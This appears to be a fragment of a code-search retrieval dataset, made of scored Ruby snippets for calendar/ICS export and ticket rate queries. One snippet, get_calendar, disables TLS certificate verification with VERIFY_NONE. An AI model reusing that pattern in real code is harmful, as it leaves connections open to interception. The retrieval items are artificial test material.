ics.push(\"DTEND;TZID=America/Los_Angeles:#{end_time.localtime.strftime(\"%Y%m%dT%H%M%S\")}\")\n ics.push(\"DTSTAMP:#{Time.now.gmtime.strftime(\"%Y%m%dT%H%M%SZ\")}\")\n ics.push(\"CREATED:19000101T120000Z\")\n ics.push(\"DESCRIPTION:\")\n ics.push(\"LAST-MODIFIED:#{Time.now.gmtime.strftime(\"%Y%m%dT%H%M%SZ\")}\")\n if rink_address != \"\" && rink_address != nil\n ics.push(rink_location)\n ics.push(rink_structured_location)\n end\n ics.push(\"SEQUENCE:1\")\n ics.push(\"STATUS:CONFIRMED\")\n if schedule[:rinkcount] > 1\n ics.push(\"SUMMARY:#{rink_name} #{home_team_name} v. #{away_team_name}\")\n else\n ics.push(\"SUMMARY:#{home_team_name} v. #{away_team_name}\")\n end\n ics.push(\"END:VEVENT\")\n end\n wknum += 1\n day = day + 7\n end\n ics.push(\"END:VCALENDAR\")\n return ics\nend",
"title": ""
},
{
"docid": "923f4dbb30da6afe15842cf939d97b31",
"score": "0.43566635",
"text": "def subscribe\n @events = Calendar.all\n\n respond_to do |format|\n format.ics { render :text => self.subscribe_events}\n end\n end",
"title": ""
},
{
"docid": "923f4dbb30da6afe15842cf939d97b31",
"score": "0.43566635",
"text": "def subscribe\n @events = Calendar.all\n\n respond_to do |format|\n format.ics { render :text => self.subscribe_events}\n end\n end",
"title": ""
},
{
"docid": "6f2f011955ffdbc30991fdc914c3ca50",
"score": "0.43478596",
"text": "def download_calendar\n @datecart = Datecart.find(params[:id])\n send_data generate_vcalendar(@datecart, :download), :filename => \"my_date.ics\", :type => \"text/calendar\"\n end",
"title": ""
},
{
"docid": "5a0b3fd460a25a7f332337e27ead6376",
"score": "0.43438",
"text": "def set_calendar\n @calendar = Calendar.find(params[:id])\n end",
"title": ""
},
{
"docid": "5a0b3fd460a25a7f332337e27ead6376",
"score": "0.43438",
"text": "def set_calendar\n @calendar = Calendar.find(params[:id])\n end",
"title": ""
},
{
"docid": "d76dd17b8f919252f1b9dffeef223990",
"score": "0.43416244",
"text": "def show\n\n if params[:day]\n @from = @to = \"#{params[:year]}-#{params[:month]}-#{params[:day]}\".to_time\n else\n @from = params[:from] ? Time.parse(params[:from]) : Time.now.beginning_of_week(:sunday)\n @to = params[:to] ? Time.parse(params[:to]) : @from.end_of_day + 6.days\n end\n\n @user = params[:user_id] ? User.find(params[:user_id]) : current_user\n\n calendar_options = { \n from: @from, \n to: @to, \n filter: params[:filter], \n user: @user, \n current_user: current_user, \n city: current_city, \n ability: current_ability,\n }\n\n calendar_options.merge!(user_created: true) if params[:user_id]\n if params[:community_id]\n @community = Community.find params[:community_id]\n calendar_options.merge!(community: @community, community_created: true)\n end\n\n respond_to do |format|\n format.html {\n @calendar = Calendar.new calendar_options\n @filter = params[:filter]\n @calendar_title = if @community\n \"#{@community.name}'s\"\n elsif params[:user_id].present?\n \"#{@user.display_name}'s\"\n else\n @current_city.name\n end\n @calendar_title << \" Events Calendar\"\n @title = @calendar_title\n @events = @calendar.events\n @user_events = @calendar.user_events\n @item_preset_tags = ItemPresetTag.where(item_type: Event.to_s)\n }\n format.ics {\n calendar_options.merge! ical: true\n @calendar = Calendar.new calendar_options\n render :text => @calendar.to_ics\n }\n end\n \n end",
"title": ""
},
{
"docid": "6a553796e8f86679b50c5e6626cc4cf1",
"score": "0.43225867",
"text": "def to_calendar(f_date = self.fixed)\n days = f_date - epoch\n yyear = 1 + quotient(days, 365)\n mmonth = 1 + quotient((days % 365), 30)\n dday = days - (365*(yyear - 1)) - (30*(mmonth - 1)) + 1\n Calendrical::Calendar::Date.new(yyear, mmonth, dday)\n end",
"title": ""
},
{
"docid": "28e2dbaa68ab0c2f7fd0abfd21984b20",
"score": "0.43203145",
"text": "def show\n @ical = Event.build_calendar('Creato da show')\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @ical }\n format.text { render :text => @ical }\n format.ics { render :ics => @ical }\n end\n end",
"title": ""
},
{
"docid": "a6db58802e2d1ace015be4c42588c372",
"score": "0.4318658",
"text": "def to_s\n printCalendar\n end",
"title": ""
},
{
"docid": "25c9212381a6fca7206db7432403ca0b",
"score": "0.43173307",
"text": "def inject_calendar(appointment_calendar)\n @calendar = appointment_calendar\n end",
"title": ""
},
{
"docid": "52746de9bd973ffda38116d8c89d40f0",
"score": "0.4312986",
"text": "def get_calendar\n uri = URI(@calendar_url)\n http_session = Net::HTTP.new(uri.host, uri.port)\n http_session.use_ssl=true\n http_session.verify_mode = OpenSSL::SSL::VERIFY_NONE\n\n request = Net::HTTP::Get.new(uri.request_uri)\n response = http_session.request(request)\n (RiCal.parse_string(response.body))[0]\n end",
"title": ""
},
{
"docid": "60ecf3713862203d303f24de81d5eca0",
"score": "0.43044397",
"text": "def initialize(calendar)\n @calendar = calendar\n end",
"title": ""
},
{
"docid": "636552295535c74c495c097286a0f999",
"score": "0.4298256",
"text": "def set_ical\n @ical = Ical.find(params[:id])\n end",
"title": ""
},
{
"docid": "9a18c1b44347bd7503ee4ad15a3782f4",
"score": "0.42960146",
"text": "def events_to_ical()\n render_to_string(:action => \"index.ics.erb\", :layout => false)\n end",
"title": ""
},
{
"docid": "f78d135cabaa1fa317ec666912f7d5e1",
"score": "0.42912492",
"text": "def as_mapi(calendar_dto)\n # verify the required parameter 'calendar_dto' is set\n if @api_invoker.api_client.config.client_side_validation && calendar_dto.nil?\n raise ArgumentError, \"Missing the required parameter 'calendar_dto' when calling CalendarApi.as_mapi\"\n end\n\n local_var_path = '/email/Calendar/as-mapi'\n post_body = @api_invoker.api_client.object_to_http_body(calendar_dto)\n auth_names = ['JWT']\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = EmailRequest.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = EmailRequest.select_header_content_type(['application/json'])\n http_request = AsposeEmailCloud::HttpRequest.new(resource_path: local_var_path,\n header_params: header_params,\n body: post_body,\n auth_names: auth_names)\n\n @api_invoker.make_request(http_request, :PUT, 'MapiCalendarDto')\n end",
"title": ""
},
{
"docid": "78ca81d601a09704258c8385943003ed",
"score": "0.42887905",
"text": "def g_cal\n @g_cal ||= Google::Calendar.new(\n client_id: @client_id,\n client_secret: @secret,\n calendar: @calendar_id,\n impersonator: @impersonator,\n redirect_url: 'urn:ietf:wg:oauth:2.0:oob' # this is what Google uses for 'applications'\n )\n end",
"title": ""
},
{
"docid": "a72a61b03f611a6d28d0f2b8aad9f1d5",
"score": "0.42707273",
"text": "def download_calendars\n\tend",
"title": ""
},
{
"docid": "2d069373d0d635356a26927cadecf2c0",
"score": "0.42603695",
"text": "def calendar\n html = \\\n \"<div class=\\\"#{CSS_CALENDAR_CONTAINER}\\\">\\n\" \\\n \"#{calendar_header}\\n\" \\\n \"#{calendar_content}\\n\" \\\n \"</div>\\n\"\n html.html_safe\n end",
"title": ""
},
{
"docid": "2aa54d25f60675b95e68646fa4f84e85",
"score": "0.42598948",
"text": "def add_calendar(calendar)\n xml_text = calendar.to_xml.to_s\n resp = NetRedirector::post(@http, OWNED_CALENDARS_PATH, xml_text, headers)\n calendar.process_add_response(resp)\n end",
"title": ""
},
{
"docid": "606581d662641fe8559a94b9e1ba276f",
"score": "0.4250996",
"text": "def to_io\n advance!\n @stream.to_io\n end",
"title": ""
},
{
"docid": "edd4cf501ac93a8471ba036afd093f9d",
"score": "0.4243547",
"text": "def show\n if params[:orchestra]\n @plan = Plan.find_by_orchestra(params[:orchestra])\n raise ActiveRecord::RecordNotFound, 'Seite nicht gefunden' if @plan.nil?\n else\n @plan = Plan.find(params[:id])\n end\n\n @events = EventDate.where('start_at>=:start_at', {:start_at=>Date.today-1}).joins(:event).where('orchestra=:orchestra OR orchestra=\"Gesamtverein\"', {:orchestra=>@plan.orchestra}).order(\"start_at\")\n\n respond_to do |format|\n format.html\n format.ics do\n calendar = Icalendar::Calendar.new\n calendar.timezone do |t|\n t.tzid = \"Europe/Berlin\"\n\n t.daylight do |d|\n d.tzoffsetfrom = \"+0100\"\n #d.tzoffsetto = \"-0500\"\n d.tzname = \"MESZ\"\n d.dtstart = \"19810329T020000\"\n d.rrule = \"FREQ=YEARLY;BYMONTH=3;BYDAY=-1SU\"\n end\n\n t.standard do |s|\n s.tzoffsetfrom = \"+0200\"\n #s.tzoffsetto = \"-0600\"\n s.tzname = \"MEZ\"\n s.dtstart = \"19961027T030000\"\n s.rrule = \"FREQ=YEARLY;BYMONTH=10;BYDAY=-1SU\"\n end\n end\n\n @events.each{ |event|\n calendar.add_event(event.to_ics( polymorphic_url(event.event)))\n }\n headers['Content-Type'] = 'text/calendar; charset=UTF-8'\n calendar.publish\n render :plain => calendar.to_ical\n end\n end\n end",
"title": ""
},
{
"docid": "f90d78bbb9bb13f292e36dc1fd9e6855",
"score": "0.42382643",
"text": "def calendar()\n return MicrosoftGraph::Me::Calendar::CalendarView::Item::Calendar::CalendarRequestBuilder.new(@path_parameters, @request_adapter)\n end",
"title": ""
},
{
"docid": "acba154afe7cfba8277c369b111b154b",
"score": "0.42341238",
"text": "def export_daily_events \n @events = Calendar.find(:all) do\n end_date >= params[:id]\n any do\n start_date.contains? params[:id]\n start_date <= params[:id]\n end\n order_by start_date\n end\n\n self.build_ical\n end",
"title": ""
},
{
"docid": "05da582e5ec3a03478e4fe416e98fe1b",
"score": "0.42106372",
"text": "def index\n session[:filter] = params[:filter]\n respond_to do |format|\n format.html { }\n format.ics {\n @bookings = Booking.where( :user_id => params[:patient_id]).where( \"time > ?\",\n Time.now )\n @calendar = Icalendar::Calendar.new\n \n @bookings.each do |booking|\n event = Icalendar::Event.new\n event.start = booking.time.strftime(\"%Y%m%dT%H%M%S\")\n event.start = (booking.time + 15.minutes).strftime(\"%Y%m%dT%H%M%S\")\n event.summary = \"GP Appointment\"\n event.description = booking.message\n event.location = @gp_location\n @calendar.add event\n end\n \n @calendar.publish\n render :text => @calendar.to_ical\n }\n end\n end",
"title": ""
},
{
"docid": "ddd5c2b10c3a8a1ab1175b84dd8dfe6b",
"score": "0.42078364",
"text": "def export\n calendar = Icalendar::Calendar.new\n events=Event.all\n\n events.each do |e|\n event = Icalendar::Event.new\n event.dtstart = e.start_time\n event.dtend = e.end_time\n event.summary = e.title\n event.description = e.description\n calendar.add_event(event)\n end\n calendar.publish\n filename=current_user.email\n file = File.new(\"tmp/#{filename}.ics\", \"w+\")\n file.write(calendar.to_ical)\n file.close\n send_file(\"tmp/#{filename}.ics\")\n end",
"title": ""
}
] |
338a9554e697ca0c5906737f549dd363 | These methods return trucker and logger rates for the tickets | [
{
"docid": "414c1b5999c718d1bb140134a9ab2c09",
"score": "0.60804707",
"text": "def trucker_rate\n @trucker_rate = TruckerRate.find_by_destination_id_and_job_id_and_partner_id(self.destination_id, self.job_id, Job.find(self.job_id).trucker.id)\n end",
"title": ""
}
] | [
{
"docid": "0380a307636b5737d88ca13d147ace25",
"score": "0.69790864",
"text": "def regular_rates(tickets_sold)\n total = 0.0\n\n tickets_sold.each do |tickets|\n # the price per ticket is merely the base rate, plus any additional modifiers\n total += viewer_price(tickets[0], tickets[1]) + @price_modifiers\n end\n\n total\n end",
"title": ""
},
{
"docid": "e311f5d94d9c9bae63a8ef3d5312b5ff",
"score": "0.65207505",
"text": "def rate\n return @rates\n end",
"title": ""
},
{
"docid": "cb4f3aabeb564e2843b338a8522ad478",
"score": "0.6342607",
"text": "def group_rates(tickets_sold)\n total = 0.0\n\n tickets_sold.each do |tickets|\n # the base ticket price is no more than $6 for group rates\n total += [viewer_price(tickets[0], tickets[1]), 6].min + @price_modifiers\n\n # Special Movie Day doesn't apply to group discounts\n # So add an extra $2 to back out the discount already applied in the @price_modifier\n if @is_thursday\n total += 2\n end\n end\n\n total\n end",
"title": ""
},
{
"docid": "2370969aa4019ae2f878491ce93ac8df",
"score": "0.6197105",
"text": "def rate\n end",
"title": ""
},
{
"docid": "759598d6673b8f681fc039dbb67dfca1",
"score": "0.6169361",
"text": "def rate; end",
"title": ""
},
{
"docid": "759598d6673b8f681fc039dbb67dfca1",
"score": "0.6169361",
"text": "def rate; end",
"title": ""
},
{
"docid": "4d095eb402bd544297fefdc45c2c064f",
"score": "0.61690503",
"text": "def heart_rates\n\t\t\t@trackpoints.map {|tp| tp.hr }\n\t\tend",
"title": ""
},
{
"docid": "fe17e02b92a632a6e0d28f090a328e4d",
"score": "0.6154609",
"text": "def rate\n end",
"title": ""
},
{
"docid": "7bc78caabf7cab82073f20d30640d279",
"score": "0.6150521",
"text": "def get_rates!\n if self.status\n Forex.forex_ticker.each do |key|\n self.rates[key]= self.all_rates[key]\n end\n end\n self.rates\n end",
"title": ""
},
{
"docid": "3800c5f96b278dc43f571633d9fe79d9",
"score": "0.60893685",
"text": "def rates\n fail_if_rates_missing\n @rates\n end",
"title": ""
},
{
"docid": "d7efe559c933d65af05e2c8b4fff9a0f",
"score": "0.6086624",
"text": "def calculate_aggregate_rating\n all_tickets = self.tickets\n ticket_count = all_tickets.length\n sum = 0\n all_tickets.each do |ticket|\n sum += ticket.rating\n end\n rating = sum/ticket_count\n end",
"title": ""
},
{
"docid": "d6afde6cd48c3fedbe49a784800dcba5",
"score": "0.60785955",
"text": "def tokenExchange\n\t\trate = Exchange.where(trip_id: self.id, units: \"dollars\").first.rate\n\t\treturn rate\n\tend",
"title": ""
},
{
"docid": "a162f71175cb6719fcacde94c5e64414",
"score": "0.6077296",
"text": "def calculate(filtered_ratings)\n rated = filtered_ratings.ratings.where(\"ticket_id IS NOT NULL\").distinct.count\n ticket_count = Otrs::Ticket.count filtered_ratings.filter.from, filtered_ratings.filter.to, filtered_ratings.filter.customer, filtered_ratings.filter.employee\n unrated = ticket_count - rated\n unrated = 0 if unrated < 0\n\n\n return unrated, rated\n end",
"title": ""
},
{
"docid": "6d17cb7b70627f9665e222bacfa42a3e",
"score": "0.60526",
"text": "def rate_component; end",
"title": ""
},
{
"docid": "4653540e58dd5294ebee1c25b4cdf711",
"score": "0.6000246",
"text": "def buy_tickets()\n tickets = self.films()\n ticket_prices = tickets.map{|ticket| ticket.price}\n # total_tickets = ticket_prices.sum() # only works on rails!!!\n total_tickets = ticket_prices.inject(0) {|sum, i| sum + i }\n return @funds - total_tickets\n end",
"title": ""
},
{
"docid": "d7b85dcf7ba741571b3d442091b33c9d",
"score": "0.59873116",
"text": "def ticket_payment()\n array_tickets = self.films\n tickets = array_tickets.map do |c|\n c.price\n end\n ticket_sum = tickets.sum\n return @funds - ticket_sum\n\n end",
"title": ""
},
{
"docid": "19a63eeb8e5fe78b4e4eeaa832a43b8f",
"score": "0.5940298",
"text": "def rate\n iter.to_f / since.to_f\n end",
"title": ""
},
{
"docid": "55402c234ab166b0a0095e738d74e732",
"score": "0.5925131",
"text": "def results\n { rate_of_change: rate_of_change }\n end",
"title": ""
},
{
"docid": "d1a718bc69512057ffe79f518b9a7f8d",
"score": "0.5908348",
"text": "def rate\n return @rate\n end",
"title": ""
},
{
"docid": "7b71cd04d97799f2c7321eb6a0622e43",
"score": "0.58977497",
"text": "def rate\n iter.to_f / since.to_f\n end",
"title": ""
},
{
"docid": "3d9cf7825d9f26c99636f425040f72e6",
"score": "0.5888864",
"text": "def supporter_funding_raised\n card_operator_formatter = 100\n formatted_amount = customer_fundings.sum(:amount)\n self.raised = formatted_amount/card_operator_formatter\n end",
"title": ""
},
{
"docid": "d94b8a555aead8405a417d6824b6082e",
"score": "0.58411825",
"text": "def get_jira_ticket_entropy()\n ####\n # How many tickets have been created in the time period?\n ####\n url = $jira_all_url % { :time => $jira_time_period }\n response = open(URI.encode(url), :http_basic_authentication=>$jira_auth)\n tickets = JSON.load(response.read())\n total = tickets['total']\n\n ####\n # How many tickets have been created by bad people in the time period?\n ####\n bad_user_total = 0\n for user in $bad_jira_users do\n url = $jira_user_url % { :time => $jira_time_period, :user => user }\n response = open(URI.encode(url), :http_basic_authentication=>$jira_auth)\n tickets = JSON.load(response.read())\n bad_user_total += tickets['total']\n end\n\n ####\n # How many tickets have been created with bad words in the time period?\n ####\n bad_word_total = 0\n for word in $bad_jira_words do\n url = $jira_word_url % { :time => $jira_time_period, :word => word }\n response = open(URI.encode(url), :http_basic_authentication=>$jira_auth)\n tickets = JSON.load(response.read())\n bad_word_total += tickets['total']\n end\n\n ratio = (bad_user_total + bad_word_total) / total.to_f\n adj_ratio = Math.log(ratio * 3) / 5.0 + 1\n adj_ratio = [1, adj_ratio].min()\n adj_ratio = [0, adj_ratio].max()\n\n puts 'Total tickets: %d' % [total]\n puts 'Total bad user tickets: %d' % [bad_user_total]\n puts 'Total bad word tickets: %d' % [bad_word_total]\n puts 'Ratio: %f' % [ratio]\n puts 'Adjusted ratio: %f' % [adj_ratio]\n return adj_ratio\nend",
"title": ""
},
{
"docid": "c637b887d7bd96daef3ea39eeaa224d8",
"score": "0.58118576",
"text": "def total_tax_ticket\n (tax25_sum + tax12_sum + tax6_sum).round(2)\n end",
"title": ""
},
{
"docid": "b7641c9762817b67741dff75eee2f470",
"score": "0.58072215",
"text": "def get_traderates\n params = {\n 'session' => SESSION,\n 'rate_type' => 'give',\n 'role' => 'buyer',\n \"fields\" => \"tid,oid,role,nick,result,created,rated_nick,item_title,item_price,content,reply\"\n }\n\n json = call_taobao \"taobao.traderates.get\", params\n return json[\"traderates_get_response\"][\"trade_rates\"][\"trade_rate\"] if json!=EMPTY_JSON\n end",
"title": ""
},
{
"docid": "6c7d296d3bcac450314a95c1cfd5b5f6",
"score": "0.5806077",
"text": "def get_rate(rtcm, date, property_channel)\n result = 0.0\n master_rate_channel_mapping = RoomTypeMasterRateChannelMapping.pool_id(property_channel.pool_id).find_by_room_type_id_and_channel_id(rtcm.room_type_id, channel.id)\n\n # if master rate mapping exist then get master rate\n if !master_rate_channel_mapping.blank?\n master_rate_map = master_rate_channel_mapping.master_rate_mapping\n\n master_rate = MasterRate.find_by_date_and_property_id_and_pool_id_and_room_type_id(date, master_rate_map.room_type.property.id, master_rate_map.pool_id, master_rate_map.room_type_id)\n result = master_rate_channel_mapping.apply_value(master_rate.amount) if !master_rate.blank?\n puts \"master rate #{master_rate.amount}\" if !master_rate.blank?\n # if not using master rate\n else\n channel_rate = ChannelRate.find_by_date_and_property_id_and_pool_id_and_room_type_id_and_channel_id(date, property_channel.property_id, property_channel.pool_id, rtcm.room_type_id, channel.id)\n result = channel_rate.amount if !channel_rate.blank?\n puts \"channel rate #{channel_rate.amount}\" if !channel_rate.blank?\n end\n puts \"result #{result}\"\n result\n end",
"title": ""
},
{
"docid": "b46de390c75cf6e9560b8cbe0104944c",
"score": "0.578888",
"text": "def purchased_tickets(tickets, currency)\n ticket_info = []\n product = scheduled_tour.product\n tickets.each do |t|\n price_description_id, quantity = t[0].to_i, t[1].to_i\n\n if quantity != 0\n price_description = product.price_description(price_description_id)\n\n ticket_info << {\n :quantity_and_name => \"#{quantity} x #{price_description.name}\",\n }\n end\n end\n end",
"title": ""
},
{
"docid": "eb7a6f22657372051b723b32519caa91",
"score": "0.5784466",
"text": "def show_rates\n hr = ChargebackRateDetail::PER_TIME_MAP[per_time.to_sym]\n rate_display = \"#{detail_currency.symbol} [#{detail_currency.full_name}] / #{hr}\"\n rate_display_unit = \"#{rate_display} / #{per_unit_display}\"\n per_unit.nil? ? rate_display : rate_display_unit\n end",
"title": ""
},
{
"docid": "4670ebbf8aa7e575bea3d5118fa21582",
"score": "0.5783086",
"text": "def value\n return @rate * @hours\n end",
"title": ""
},
{
"docid": "8662aace0631eb715bae9cd825fcef15",
"score": "0.5783085",
"text": "def wage_rates\n {\n 'A' => 20.0,\n 'B' => 30.0\n }\n end",
"title": ""
},
{
"docid": "357ed35b5efb9a26691d6009136346fa",
"score": "0.57753634",
"text": "def get_personal_rate_details(tariff, dg, exrate)\n rate = dg.rate(tariff.id)\n\n @arates = []\n @arates = Aratedetail.find(:all, :conditions => \"rate_id = #{rate.id} AND artype = 'minute'\", :order => \"price DESC\") if rate\n\n #check for custom rates\n @crates = []\n crate = Customrate.find(:first, :conditions => \"user_id = '#{session[:user_id]}' AND destinationgroup_id = '#{dg.id}'\")\n if crate && crate[0]\n @crates = Acustratedetail.find(:all, :condition => \"customrate_id = '#{crate[0].id}'\", :order => \"price DESC\")\n @arates = @crates if @crates[0]\n end\n if @arates[0]\n @arate_cur = Currency.count_exchange_prices({:exrate => exrate, :prices => [@arates[0].price.to_d]}) if @arates[0]\n end\n end",
"title": ""
},
{
"docid": "e964b7de1c4d552862a8b8e970a13100",
"score": "0.57704926",
"text": "def net_price\n price_actual - total_tax_ticket\n end",
"title": ""
},
{
"docid": "41079eb74c8ea70c758d6589ac647dc5",
"score": "0.5769177",
"text": "def expected_revenue\n if !renewal_amount.nil?\n @x = renewal_amount\n elsif payment_terms != \"Bundled\"\n hw_t = 0.0\n line_items.each { |l| hw_t += (l.current_list_price.nil? ? 0.0 : l.current_list_price * (l.qty.nil? ? 0.0 : l.qty)) if l.support_type == \"HW\" }\n hw_t = hw_t * (1.0 - (discount_pref_hw + (payment_terms == \"Annual\" ? discount_prepay : 0.0)))\n\n sw_t = 0.0\n line_items.each { |l| sw_t += (l.current_list_price.nil? ? 0.0 : l.current_list_price * (l.qty.nil? ? 0.0 : l.qty)) if l.support_type == \"SW\" }\n sw_t = sw_t * (1.0 - (discount_pref_sw + (payment_terms == \"Annual\" ? discount_prepay : 0.0)))\n\n srv_t = 0.0\n line_items.each { |l| srv_t += (l.list_price.nil? ? 0.0 : l.list_price * (l.qty.nil? ? 0.0 : l.qty)) if l.support_type == \"SRV\" }\n srv_t = srv_t * (1.0 - (discount_pref_srv + (payment_terms == \"Annual\" ? discount_prepay : 0.0)))\n\n @x = 12 * ((hw_t * hw_support_level_multiplier) + (sw_t * sw_support_level_multiplier) + srv_t)\n\n else\n t = 0.0\n line_items.each { |l| t += (l.current_list_price.nil? ? 0.0 : l.current_list_price * (l.qty.nil? ? 0.0 : l.qty)) }\n @x = t * 12 * 0.5\n end\n end",
"title": ""
},
{
"docid": "b9bf4476836eb576e7653c09b457c330",
"score": "0.5766811",
"text": "def tax_rates\n []\n end",
"title": ""
},
{
"docid": "f84a5ac61f223d727488e369fe8c0e3a",
"score": "0.57565403",
"text": "def influencer_tweet_fee\n tweet_fee - (tweet_fee * borwin_fee)\n end",
"title": ""
},
{
"docid": "53c7820b8b3c0ed7b5aedf35a470ee46",
"score": "0.5755599",
"text": "def get_rates\n @response = @client.call(:get_rate_estimate, message: { originPostalCode: @originPostalCode,\n originCountry: @originCountry,\n destinationPostalCode: @destinationPostalCode,\n destinationCountry: @destinationCountry,\n odfl4MeUser: self.odfl4MeUser,\n odfl4MePassword: self.odfl4MePassword,\n odflCustomerAccount: self.odflCustomerAccount,\n tariff: self.tariff,\n movement: self.movement,\n mexicoServiceCenter: self.mexicoServiceCenter,\n currencyFormat: self.currencyFormat,\n requestReferenceNumber: self.requestReferenceNumber,\n freightItems: {\n \"Freight\" => self.freight\n },\n weightUnits: self.weightUnits,\n numberPallets: self.freight.count,\n linearFeet: self.linearFeet,\n accessorials: {\n string: self.accessorials\n },\n totalCubicVolume: @totalCubicVolume,\n cubicUnits: @cubicUnits,\n numberStackablePallets: self.numberStackablePallets,\n pickupDateTime: @pickupDateTime,\n deliveryDateTime: @deliveryDateTime,\n shipType: self.shipType,\n codAmount: @codAmount,\n insuranceAmount: self.insuranceAmount,\n loosePieces: self.loosePieces,\n email: self.email,\n sendEmailOffers: self.sendEmailOffers,\n firstName: self.firstName,\n lastName: self.lastName\n })\n processResult(@response)\n\n if @resultHash[:success]\n true\n else\n false\n end\n end",
"title": ""
},
{
"docid": "80b21efb1181a7e773312b7a774a459f",
"score": "0.5746067",
"text": "def technical_debt_estimate\n out_result = []\n out_result << [\"Technical Debt Estimate - #{period_helper}\", 'Hours', 'Points']\n out_result <<['Technical Debt Estimate', calculate_points(result_by_query(technical_debt_query))] \n out_result = []\n end",
"title": ""
},
{
"docid": "7471d9dda6bc91b989249229bdc8e0c7",
"score": "0.5745871",
"text": "def bill_rates\n @_bill_rates ||= Tenk::BillRates.new(self)\n end",
"title": ""
},
{
"docid": "0c695902cdf0a76067acc60796c90623",
"score": "0.5734622",
"text": "def rate\n @value_stats.sum / @timed_stats.sum\n end",
"title": ""
},
{
"docid": "1014bb38d9a6c17e831683c54242425c",
"score": "0.5730524",
"text": "def get_tip(bill_amount, tip_rate)\n (bill_amount*tip_rate)/100\nend",
"title": ""
},
{
"docid": "f9a8eec9d9c4a1fcc055dc1099811dba",
"score": "0.57136744",
"text": "def calc_base_rate(version)\n rate = version.product_rate\n ratetype = version.rate_type\n\n if self.quote_type == \"All Inclusive\"\n return calc_all_inclusive_rate(rate, ratetype, version)\n end\n\n # Logic for couple and family rate\n if version.detail_type == \"Couple\" && !version.detail.has_couple_rate\n product_id = version.product_id\n t1 = @results[\"Traveler #1\"].reject{ |t| t.product_id != product_id}\n t2 = @results[\"Traveler #2\"].reject{ |t| t.product_id != product_id}\n if t1.any? and t2.any?\n rate = t1[0].product_rate + t2[0].product_rate\n end\n elsif self.traveler_type == \"Family\"\n rate = calc_family_rate(rate, version)\n end\n \n #get the rate for different rate type\n rate = calc_rate_by_type(rate, ratetype, self.traveled_days)\n\n # check to see if there is a min price and if there is\n # we use the greater of the two\n if version.product.min_rate_type == \"Price\"\n minprice = version.min_price\n if rate < minprice\n rate = minprice\n end\n elsif version.product.min_rate_type == \"Date\"\n mindate = version.product.min_date\n if mindate > self.traveled_days\n rate = (mindate * version.product_rate)\n end\n end\n\n return rate.round(2)\n end",
"title": ""
},
{
"docid": "084fb2255b4d2d920a867f4b2e5ee747",
"score": "0.5696745",
"text": "def rate_difference(currency, ticker)\n result = CryptoConverter.new(currency.upcase, ticker, 1.0).rate_difference\n #icon = result < 0 ? \"<i class='fa fa-long-arrow-down'></i>\" : \"<i class='fa fa-long-arrow-up'></i>\"\n icon = result < 0 ? image_tag(\"down.png\") : image_tag(\"up.png\")\n color = result < 0 ? '<span class=\"current-rate down\">' : '<span class=\"current-rate up\">'\n #plus_sign = result >= 0 ? '+' : ''\n\n \"#{color} #{number_to_percentage(result)} #{icon}</span>\".html_safe\n end",
"title": ""
},
{
"docid": "24b6510b80422ede017352fa11345862",
"score": "0.5691968",
"text": "def taxrate\n 0.10\n end",
"title": ""
},
{
"docid": "4d831739b298141d2b504f8c878483c7",
"score": "0.56635386",
"text": "def getIssueRateHash(projectCustVals)\n\t\trateHash = Hash.new\n\t\tprojectCustVals.each do |custVal|\n\t\t\tcase custVal.custom_field_id \n\t\t\t\twhen getSettingCfId('wktime_issue_billing_rate_cf') \n\t\t\t\t\trateHash[\"rate\"] = custVal.value.to_f\n\t\t\t\twhen getSettingCfId('wktime_issue_billing_currency_cf') \n\t\t\t\t\trateHash[\"currency\"] = custVal.value\n\t\t\tend\n\t\tend\n\t\trateHash\n\tend",
"title": ""
},
{
"docid": "6728f218a15fdf464287eabb8c60f1e9",
"score": "0.56497216",
"text": "def calc_total_sqft_rented\n #implement\n end",
"title": ""
},
{
"docid": "48ff060e1b47cf2092e551215a31fb31",
"score": "0.56487334",
"text": "def tally_enhanced\n most_money_day\n sum_metric(:rides)\n sum_metric(:earnings, :cost)\n sum_metric(:rating, [:driver, :rating], true)\n return \"money day tallied\"\n end",
"title": ""
},
{
"docid": "3ed4f4d475416d8519f4917e697ee126",
"score": "0.56371266",
"text": "def update_loot_rates\n update_attuned_item_rates\n update_adornment_rates\n update_miscellaneous_item_rates\n end",
"title": ""
},
{
"docid": "e8a0aac0f078fade9bef20023b46d0f9",
"score": "0.5629605",
"text": "def tally_r\n count_rides\n sum_earnings\n ave_ratings\n return \"money day not tallied\"\n end",
"title": ""
},
{
"docid": "aae27f98b49e2beba1aa2ec8170a4bd4",
"score": "0.560781",
"text": "def rate\n if(specific_rate?)\n if(rate_cents < 0)\n task_list.default_rate.to_money\n else\n specific_rate.to_money\n end\n else\n Money.new(0, \"USD\")\n end\n end",
"title": ""
},
{
"docid": "54852ae78a2dccc30ea92c4edb475fbb",
"score": "0.5582352",
"text": "def total_price\n hrs_work*cleaner.hourly_rate\n end",
"title": ""
},
{
"docid": "3d1da314c54aa30f40d51cccba6ee0ce",
"score": "0.5579144",
"text": "def tax_rate\n 0.10\n end",
"title": ""
},
{
"docid": "586bea2b78d77488c8bab968da52edd3",
"score": "0.5572935",
"text": "def get_estimate\n @resultHash[:rate_estimate]\n end",
"title": ""
},
{
"docid": "d9f78103c9dac534d05f42d1b8011f45",
"score": "0.55725276",
"text": "def ticket_stats(group = nil, user = nil)\n raise 'NoGroupSpecified' if group.nil?\n raise 'NoUserSpecified' if user.nil?\n\n tickets = self.tickets(group)\n\n stats = { available: 0, total: 0, held: 0 }\n tickets.each do |ticket|\n stats[:available] += 1 if ticket.user_id.zero?\n stats[:held] += 1 if ticket.user_id == user.id\n stats[:total] += 1\n end\n\n if stats[:total].positive?\n stats[:percent_full] = (\n (stats[:total].to_f - stats[:available].to_f) / stats[:total].to_f\n ) * 100\n else\n stats[:percent_full] = 0\n end\n\n stats\n end",
"title": ""
},
{
"docid": "ca307c0fe4dbb0a2c59cf7cae3b771ce",
"score": "0.55704236",
"text": "def find_rate(value)\n @found_rates ||= {}\n @found_rates[value] ||=\n begin\n fixed_rate = 0.0\n variable_rate = 0.0\n tier_found = chargeback_tiers.detect { |tier| tier.includes?(value * rate_adjustment) }\n unless tier_found.nil?\n fixed_rate = tier_found.fixed_rate\n variable_rate = tier_found.variable_rate\n end\n\n [fixed_rate, variable_rate]\n end\n end",
"title": ""
},
{
"docid": "2ad53255845404ee076dbada077e2a31",
"score": "0.5559494",
